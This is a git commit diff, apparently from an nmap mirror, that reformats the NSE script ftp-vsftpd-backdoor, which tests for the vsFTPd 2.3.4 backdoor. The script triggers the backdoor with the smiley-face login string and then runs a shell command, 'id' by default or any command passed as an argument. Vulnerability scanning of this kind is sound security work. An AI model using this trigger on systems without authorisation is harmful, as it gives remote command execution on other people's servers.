mirror of
https://github.com/nmap/nmap.git
synced 2025-12-15 12:19:02 +00:00
o [NSE] Clean indentation and make some variables local.
This commit is contained in:
@@ -1,6 +1,3 @@
|
|||||||
-- -*- mode: lua -*-
|
|
||||||
-- vim: set filetype=lua :
|
|
||||||
|
|
||||||
description = [[
|
description = [[
|
||||||
Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04. This
|
Tests for the presence of the vsFTPd 2.3.4 backdoor reported on 2011-07-04. This
|
||||||
script attempts to exploit the backdoor using the innocuous <code>id</code>
|
script attempts to exploit the backdoor using the innocuous <code>id</code>
|
||||||
@@ -41,17 +38,17 @@ local CMD_FTP = "USER X:)\r\nPASS X\r\n"
|
|||||||
local CMD_SHELL_ID = "id"
|
local CMD_SHELL_ID = "id"
|
||||||
|
|
||||||
portrule = function (host, port)
|
portrule = function (host, port)
|
||||||
-- Check if version detection knows what FTP server this is.
|
-- Check if version detection knows what FTP server this is.
|
||||||
if port.version.product ~= nil and port.version.product ~= "vsftpd" then
|
if port.version.product ~= nil and port.version.product ~= "vsftpd" then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Check if version detection knows what version of FTP server this is.
|
-- Check if version detection knows what version of FTP server this is.
|
||||||
if port.version.version ~= nil and port.version.version ~= "2.3.4" then
|
if port.version.version ~= nil and port.version.version ~= "2.3.4" then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
return shortport.port_or_service(21, "ftp")(host, port)
|
return shortport.port_or_service(21, "ftp")(host, port)
|
||||||
end
|
end
|
||||||
|
|
||||||
local function finish_ftp(socket, status, message)
|
local function finish_ftp(socket, status, message)
|
||||||
@@ -92,13 +89,13 @@ local function check_backdoor(host, shell_cmd)
|
|||||||
if shell_cmd ~= CMD_SHELL_ID then
|
if shell_cmd ~= CMD_SHELL_ID then
|
||||||
status, ret = socket:send(shell_cmd.."\n")
|
status, ret = socket:send(shell_cmd.."\n")
|
||||||
if not status then
|
if not status then
|
||||||
return finish_ftp(socket, false, "failed to send shell command")
|
return finish_ftp(socket, false, "failed to send shell command")
|
||||||
end
|
end
|
||||||
status, ret = socket:receive_lines(1)
|
status, ret = socket:receive_lines(1)
|
||||||
if not status then
|
if not status then
|
||||||
return finish_ftp(socket, false,
|
return finish_ftp(socket, false,
|
||||||
string.format("failed to read shell commands results: %s",
|
string.format("failed to read shell commands results: %s",
|
||||||
ret))
|
ret))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -107,59 +104,59 @@ local function check_backdoor(host, shell_cmd)
|
|||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
-- Get script arguments.
|
-- Get script arguments.
|
||||||
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
|
local cmd = stdnse.get_script_args("ftp-vsftpd-backdoor.cmd") or
|
||||||
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
|
stdnse.get_script_args("exploit.cmd") or CMD_SHELL_ID
|
||||||
|
|
||||||
local results = {
|
local results = {
|
||||||
"This installation has been backdoored: VULNERABLE",
|
"This installation has been backdoored: VULNERABLE",
|
||||||
"Command: " .. cmd,
|
"Command: " .. cmd,
|
||||||
}
|
}
|
||||||
|
|
||||||
-- check to see if the vsFTPd backdoor was already triggered
|
-- check to see if the vsFTPd backdoor was already triggered
|
||||||
local status, ret = check_backdoor(host, cmd)
|
local status, ret = check_backdoor(host, cmd)
|
||||||
if status then
|
if status then
|
||||||
table.insert(results, string.format("Results: %s", ret))
|
table.insert(results, string.format("Results: %s", ret))
|
||||||
return stdnse.format_output(true, results)
|
return stdnse.format_output(true, results)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Create socket.
|
-- Create socket.
|
||||||
local sock, err = ftp.connect(host, port,
|
local sock, err = ftp.connect(host, port,
|
||||||
{recv_before = false,
|
{recv_before = false,
|
||||||
timeout = 8000})
|
timeout = 8000})
|
||||||
if not sock then
|
if not sock then
|
||||||
stdnse.print_debug(1, "%s: can't connect: %s",
|
stdnse.print_debug(1, "%s: can't connect: %s",
|
||||||
SCRIPT_NAME, err)
|
SCRIPT_NAME, err)
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Read banner.
|
|
||||||
buffer = stdnse.make_buffer(sock, "\r?\n")
|
|
||||||
local code, message = ftp.read_reply(buffer)
|
|
||||||
if not code then
|
|
||||||
stdnse.print_debug(1, "%s: can't read banner: %s",
|
|
||||||
SCRIPT_NAME, message)
|
|
||||||
sock:close()
|
|
||||||
return nil
|
|
||||||
end
|
|
||||||
|
|
||||||
status, ret = sock:send(CMD_FTP .. "\r\n")
|
-- Read banner.
|
||||||
if not status then
|
local buffer = stdnse.make_buffer(sock, "\r?\n")
|
||||||
stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
|
local code, message = ftp.read_reply(buffer)
|
||||||
SCRIPT_NAME, ret)
|
if not code then
|
||||||
return nil
|
stdnse.print_debug(1, "%s: can't read banner: %s",
|
||||||
end
|
SCRIPT_NAME, message)
|
||||||
|
sock:close()
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
stdnse.sleep(1)
|
status, ret = sock:send(CMD_FTP .. "\r\n")
|
||||||
-- check if vsFTPd was backdoored
|
if not status then
|
||||||
local status, ret = check_backdoor(host, cmd)
|
stdnse.print_debug(1, "%s: failed to send privilege escalation command: %s",
|
||||||
if not status then
|
SCRIPT_NAME, ret)
|
||||||
stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, ret)
|
return nil
|
||||||
return nil
|
end
|
||||||
end
|
|
||||||
|
|
||||||
-- delay ftp socket cleaning
|
stdnse.sleep(1)
|
||||||
sock:close()
|
-- check if vsFTPd was backdoored
|
||||||
table.insert(results, string.format("Results: %s", ret))
|
status, ret = check_backdoor(host, cmd)
|
||||||
return stdnse.format_output(true, results)
|
if not status then
|
||||||
|
stdnse.print_debug(1, "%s: %s", SCRIPT_NAME, ret)
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
|
||||||
|
-- delay ftp socket cleaning
|
||||||
|
sock:close()
|
||||||
|
table.insert(results, string.format("Results: %s", ret))
|
||||||
|
return stdnse.format_output(true, results)
|
||||||
end
|
end
|
||||||
|
|||||||
Reference in New Issue
Block a user